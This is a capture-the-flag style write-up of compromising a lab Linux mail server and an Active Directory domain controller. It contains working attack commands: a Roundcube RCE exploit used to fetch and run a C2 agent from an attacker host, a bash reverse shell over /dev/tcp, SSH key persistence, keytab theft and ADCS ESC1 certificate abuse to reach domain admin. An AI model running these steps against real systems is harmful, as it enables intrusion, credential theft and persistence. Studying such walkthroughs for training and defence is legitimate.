Hybrid
Have you covered up your portraits of Richard Stallman yet? It’s time to learn how to pwn Hybrid. This is a chain consisting of two machines, an AD-joined Linux Server and a Domain Controller. This write-up will be quite long, so buckle up!
Target IPs:
10.10.185.101
(dc01.hybrid.vl)10.10.185.102
(mail01.hybrid.vl)
Enumeration
$ cat hosts
10.10.185.101
10.10.185.102
$ nmap -sVC -iL hosts -T4 -Pn --open -oN nmap
Nmap output for 10.10.185.101 (dc01.hybrid.vl), the Domain Controller. We can tell this is a Microsoft Windows machine.
Nmap scan report for 10.10.185.101
Host is up (0.13s latency).
Not shown: 987 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-29 16:20:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2025-09-29T16:10:05
|_Not valid after: 2026-09-29T16:10:05
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2025-09-29T16:10:05
|_Not valid after: 2026-09-29T16:10:05
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2025-09-29T16:10:05
|_Not valid after: 2026-09-29T16:10:05
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.hybrid.vl
| Not valid before: 2025-09-29T16:10:05
|_Not valid after: 2026-09-29T16:10:05
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HYBRID
| NetBIOS_Domain_Name: HYBRID
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: hybrid.vl
| DNS_Computer_Name: dc01.hybrid.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-09-29T16:20:46+00:00
|_ssl-date: 2025-09-29T16:21:26+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=dc01.hybrid.vl
| Not valid before: 2025-09-28T16:19:03
|_Not valid after: 2026-03-30T16:19:03
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time:
| date: 2025-09-29T16:20:48
|_ start_date: N/A
Nmap output for 10.10.185.102 (mail01.hybrid.vl), the Linux mail server. This is the machine we will take a look at first.
Nmap scan report for 10.10.185.102
Host is up (0.13s latency).
Not shown: 989 closed tcp ports (conn-refused), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:bc:22:26:78:3c:b4:e0:6b:ea:aa:1e:c1:62:5d:de (ECDSA)
|_ 256 a3:b5:d8:61:06:e6:3a:41:88:45:e3:52:03:d2:23:1b (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Redirecting...
|_http-server-header: nginx/1.18.0 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL TOP STLS RESP-CODES CAPA PIPELINING UIDL AUTH-RESP-CODE
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
|_ssl-date: TLS randomness does not represent time
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 47493/tcp mountd
| 100005 1,2,3 49022/udp6 mountd
| 100005 1,2,3 59247/tcp6 mountd
| 100005 1,2,3 59592/udp mountd
| 100021 1,3,4 40971/tcp6 nlockmgr
| 100021 1,3,4 45267/tcp nlockmgr
| 100021 1,3,4 46442/udp nlockmgr
| 100021 1,3,4 59028/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: STARTTLS post-login have more listed LOGINDISABLEDA0001 LOGIN-REFERRALS capabilities Pre-login ENABLE OK IMAP4rev1 LITERAL+ SASL-IR IDLE ID
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
587/tcp open smtp Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more have post-login AUTH=PLAIN listed capabilities LOGIN-REFERRALS Pre-login AUTH=LOGINA0001 ENABLE OK IMAP4rev1 LITERAL+ SASL-IR IDLE ID
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
995/tcp open ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
|_pop3-capabilities: SASL(PLAIN LOGIN) TOP USER RESP-CODES CAPA PIPELINING UIDL AUTH-RESP-CODE
|_ssl-date: TLS randomness does not represent time
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: Host: mail01.hybrid.vl; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Before we continue, make sure you add the hostnames and their corresponding IP addresses into your /etc/hosts
file like so:
[...]
10.10.185.101 dc01.hybrid.vl hybrid.vl
10.10.185.102 mail01.hybrid.vl
Port 80 on MAIL01
http://mail01.hybrid.vl
greets us with a login page of Roundcube Webmail. We can’t seem to find version numbers, and I can’t seem to find default credentials that work, so let’s come back here later.
Port 2049 on MAIL01
Port 2049 is usually reserved for NFS shares. Let’s check if any is available on MAIL01.
$ showmount -e mail01.hybrid.vl
Export list for mail01.hybrid.vl:
/opt/share *
We have a share at /opt/share
that allows anyone to mount. Let’s mount this in our local filesystem and see what’s inside.
$ mkdir nfs
$ sudo mount -t nfs mail01.hybrid.vl: ./nfs/ -o nolock,rw
$ cd nfs/opt/share
$ ls -al
total 16
drwxrwxrwx 2 nobody nobody 4096 Jun 18 2023 .
drwxr-xr-x 4 root root 4096 Jun 17 2023 ..
-rw-r--r-- 1 root root 6003 Jun 18 2023 backup.tar.gz
Seems like we have a backup of some kind, let’s copy it outside the NFS mount into our local filesystem and extract it.
$ cp backup.tar.gz ../../../
$ cd ../../../
$ tar -xzf backup.tar.gz
$ tree backup
backup
├── etc
│ ├── dovecot
│ │ └── dovecot-users
│ ├── passwd
│ ├── postfix
│ │ └── main.cf
│ └── sssd
│ └── sssd.conf
└── opt
└── certs
└── hybrid.vl
├── fullchain.pem
└── privkey.pem
We find some plaintext password (yikes!) inside etc/dovecot/dovecot-users
.
$ cat backup/etc/dovecot/dovecot-users
admin@hybrid.vl:{plain}<PASSWORD_REDACTED>
peter.turner@hybrid.vl:{plain}<PASSWORD_REDACTED>
Dovecot is a IMAP and POP3 mail server that we saw earlier is installed on MAIL01. Reasonably, we can assume that the Roundcube Webmail on port 80 might be using the same credentials.
Logging into Roundcube
We can log into the Roundcube Web portal wth admin@hybrid.vl’s credentials.
The about pop-up reveals this Roundcube instance is version 1.6.1, which is vulnerable to CVE-2025-49113, an authenticated RCE vulnerability because the
_from
parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization. This vulnerability affects versions before 1.5.10 and 1.6.x before 1.6.11.
MAIL01 Initial Access
I have found a working exploit in this repository: link. Let’s start exploiting.
The following exploit command will execute whoami
, but we won’t be able to get its output back.
$ php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' '<PASSWORD_REDACTED>' 'whoami'
We can test if this exploit works by spinning up a Python HTTP server on our machine, and try sending a curl
command from the target via the exploit.
$ php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' '<PASSWORD_REDACTED>' 'curl http://<ATTACKER_IP>:8000'
Successful callback received from MAIL01.
At this point, you can use bash reverse shell to get shell access, but I’m going to
shill for demonstrate how to use CruxC2, the Open Source Command and Control tool I wrote in Rust. It’s not complete yet, but it is at a usable stage. Link to the CruxC2 Github Repo
Steps to install:
$ git clone https://github.com/RandomChugokujin/CruxC2
$ cd CruxC2
$ export PATH=$PATH:$HOME/.cargo/bin
$ cargo install --path .
Running the CruxServer
binary will listen on port 1337 by default, feel free to specify alternative listen port using the -p
option on both the Server and the Agent.
$ CruxServer
Please enter password for identity file (/home/brian/.config/CruxC2/identity.pfx):
______ ______ _____
.' ___ | .' ___ | / ___ `.
/ .' \_| _ .--. __ _ _ __ / .' \_||_/___) |
| | [ `/'`\][ | | | [ \ [ ]| | .'____.'
\ `.___.'\ | | | \_/ |, > ' < \ `.___.'\/ /_____
`.____ .'[___] '.__.'_/[__]`\_] `.____ .'|_______|
CruxServer is listening on port 1337
We want to use the exploit to transfer the CruxAgent Binary to the target. We first serve our Binary via Python HTTP server:
$ cp ~/.cargo/bin/CruxAgent .
$ python -m http.server
Then, we use to exploit to download and execute the CruxAgent Binary.
$ php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' '<PASSWORD_REDACTED>' 'wget http://<ATTACKER_IP>:8000/CruxAgent -O /tmp/CruxAgent'
$ php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' '<PASSWORD_REDACTED>' 'chmod +x /tmp/CruxAgent'
$ php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' '<PASSWORD_REDACTED>' '/tmp/CruxAgent <ATTACKER_IP>'
And we get our shell.
The prompt indicates we are currently the
www-data
user on MAIL01, and all of our commands will be ran through Bash.
MAIL01 Lateral Movement
NFS allows for some privilege escalation opportunities now that gained shell access. Let’s take a look at its configuration file, which is /etc/exports
:
CRUX|www-data@mail01|10.10.185.102:45164|$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/opt/share *(rw,no_subtree_check)
This configuration file, although seem pretty default, reveals a lateral movement vector. In NFS, the client’s UID and GID will be trusted to read and write contents on its shares. Suppose there is a user named Alice on our local machine with UID of 1000 and GID of 1000, and a user named Bob on the NFS server who has the same UID and GID.
If Alice creates a file named file.txt
in the NFS share, from the server’s perspective, it can only see the UID and GIDs, not the username of Alice. It will look into its own /etc/passwd
file to find the user with matching UID and GID. In this case, it will see that Bob has the UID of 1000 and GID of 1000. Therefore, from the server’s perspective, the file is owned by Bob.
However, by default, NFS will not trust root UIDs and GIDs. If the no_root_squash
option is not specified, any file written by the client root into the share will be marked as owned by nobody:nobody
. We can see this in action if we su root
from our own machine and try to create a file inside the NFS share.
But this doesn’t stop us from creating files owned by UIDs and GIDs other than root. As we can see, the /home
directory on MAIL01 reveals that we have a domain user named peter.turner@hybrid.vl, and we can also get his UID and GID:
Let’s create a user locally named peter with the same UID as peter.turner@hybrid.vl on MAIL01 and place a file inside the NFS share to see if our UID gets retained.
$ sudo useradd -u 902601108 peter
$ sudo su peter
$ cd nfs/opt/share
$ touch test2.txt
On MAIL01, if we list out the contents of the NFS share directory, we can see that MAIL01 considers test2.txt
to be owned by peter.turner@hybrid.vl.
But how do we turn file write capability into command execution? Well, a little known fact about Bash is its
-p
option. Here’s a exerpt from the Bash man page:
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
In other words, if we create a copy of the Bash binary inside the NFS share owned by peter.turner and have SUID set, when we execute this copy of bash with -p
option set, it will run and execute command as peter.turner.
To do so, we first copy /bin/bash
installed on MAIL01 to the NFS share directory, so that we can access it from the attacker machine.
CRUX|www-data@mail01|10.10.185.102:45164|$ cd /opt/share
CRUX|www-data@mail01|10.10.185.102:45164|$ cp /bin/bash .
CRUX|www-data@mail01|10.10.185.102:45164|$ ls -l
total 1364
-rwxr-xr-x 1 www-data www-data 1396520 Sep 29 17:56 bash
-rw-r--r-- 1 nobody nogroup 0 Sep 29 17:43 test.txt
On the attacker-side, we move the bash outside the nfs share then change its owner to peter.
$ mv bash ../../../
$ sudo chown peter:peter bash
Next, we need to copy this Bash binary back into the NFS share as peter.
$ sudo su peter
$ cp bash nfs/opt/share
Finally, we setuid the Bash binary inside the NFS share, still as peter. This step must be done last. If not, the setuid will be lost when Bash is transferred to the NFS share.
$ cd nfs/opt/share
$ chmod u+s bash
$ ls -l /tmp/peter/opt/share/
total 1364
-rwsr-xr-x 1 peter peter 1396520 Sep 29 13:19 bash
-rw-r--r-- 1 peter peter 0 Sep 29 13:00 test2.txt
-rw-r--r-- 1 nobody nobody 0 Sep 29 12:43 test.txt
From the perspective of the target machine, the bash inside the NFS share directory is owned by peter.turner@hybrid.vl, and it is an SUID binary, which means we can run it and execute command as peter.turner@hybrid.vl.
From there, we can run a reverse shell using this bash binary:
CRUX|www-data@mail01|10.10.185.102:45164|$ ./bash -p -i >& /dev/tcp/10.8.6.98/8080 0>&1
MAIL01 Privilege Escalation
To maintain persistence, we generate an SSH key pair and put the public key into peter.turner’s home directory.
$ ssh-keygen
$ mkdir /home/peter.turner@hybrid.vl/.ssh
$ echo "<SSH_PUBKEY>" > /home/peter.turner@hybrid.vl/.ssh/authorized_key
Then, we can successfully SSH into MAIL01 as peter.turner. The first user flag is available here.
We can see alongside the first flag is also a Keepass database, which is used by Keepass-compatible password managers to store securely store passwords. We can read its contents with the
kpcli
util installed on the server, but since I have KeepassXC on my own machine, I’m going to download the database and open it there.
We open the database with the password associated with peter.turner inside the backup dovecot configuration file. The Keepass DB reveals the domain password for peter.turner.
Using this password, We can escalate our privilege to root on MAIL01. Another flag is available in the /root
directory
Don’t forget to maintain our access by uploading our SSH pubkey to the root user:
$ echo <SSH_PUBKEY> >> /root/.ssh/authorized_keys
Domain Dominance
Our work is not done yet. MAIL01 is part of an Active Directory network. Fortunately, when we opened the Keepass database, we found our first set of valid credentials on the AD domain. This allows us conduct further enumeration of the Domain Controller.
For example, we can enumerate the ADCS and the certificate templates using certipy on our local machine.
$ certipy find -u "peter.turner@hybrid.vl" -p "<PASSWORD_REDACTED>" -dc-ip 10.10.185.101
We read the output file generated by certipy to see if there are any vulnerable certificate templates for us to exploit.
A certificate template named HybridComputers allows:
- EnrolleeSuppliesSubject
- HYBRID.VL\Domain Computers to enroll
- Enrollees to use this template to authenticate
This certificate template is a textbook ESC1, which you can read more in this article of mine. But TL;DR, this template allows us to request a certificate with the name of any user we want on it, and then we can take this certificate to services on the domain to authenticate as that user. This means we can request a certificate and log into DC01 as the domain admin.
First, we need to get access to a principal inside Domain Computers. Fortunately, we have already totally compromised MAIL01. On Linux machines that authenticates to the Domain Controller via Kerberos, the /etc/krb5.keytab
file stores Kerberos principal names and their associated long-term secret keys (encrypted passwords) used for non-interactive authentication. This means we can use this file to request a Kerberos TGT that would allow us to request a HybridComputers certificate as a principal inside the Domain Computers group.
First, let’s transfer a copy of the /etc/krb5.keytab
file onto our attacker machine.
$ scp -i key root@mail01.hybrid.vl:/etc/krb5.keytab .
Then make sure to add entries for the hybrid.vl
domain inside the /etc/krb5.conf
of your machine.
[libdefaults]
default_realm = HYBRID.VL
dns_lookup_kdc = true
dns_lookup_realm = true
rdns = false
allow_weak_crypto = true
[realms]
# use "kdc = ..." if realm admins haven't put SRV records into DNS
[...]
HYBRID.VL = {
kdc = dc01.hybrid.vl
admin_server = dc01.hybrid.vl
}
[domain_realm]
[...]
hybrid.vl = HYBRID.VL
.hybrid.vl = HYBRID.VL
Now, we can request a TGT as the MAIL01 computer account, whose encrypted password is stored inside the krb5.keytab
file we just downloaded.
$ kinit -k -t krb5.keytab 'MAIL01$'@HYBRID.VL
Make sure export the KRB5CCNAME environment variable to be where klist showed our Ticket Cached to be stored at. In this case, we set it to /tmp/krb5cc_1000
. This way, certipy will be able to read the TGT we just requested.
$ export KRB5CCNAME=/tmp/krb5cc_1000
Let’s request a HybridComputers certificate, with the subject name of the domain administrator.
$ certipy req -k -no-pass -ca hybrid-DC01-CA -upn administrator@hybrid.vl -template HybridComputers -target dc01.hybrid.vl -dc-ip 10.10.185.101 -key-size 4096 -sid 'S-1-5-21-3436099999-75120703-3673112333-500'
Nice, let’s use certipy once again to authenticate as domain admin.
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.185.101
Certipy has now dumped the Domain Admin’s NTLM hash to us, in addition to saving their TGT into a
.ccache
file in our current directory. I’m going to log into the domain controller using the TGT via WinRM.
$ export KRB5CCNAME=administrator.ccache
$ evil-winrm -r HYBRID.vl -i dc01.hybrid.vl
We did it chat, we pwned Hybrid.🎉🎉🎉
Conclusion
Hopefully you enjoyed this write-up. The most interesting part of this Chain is definitely the MAIL01 lateral movement that exploits how NFS trusts the UID and GID the user supplies when creating new files. In addition, I’m still amazed at how much room for privilege escalation ADCS misconfigurations and certificate templates provide.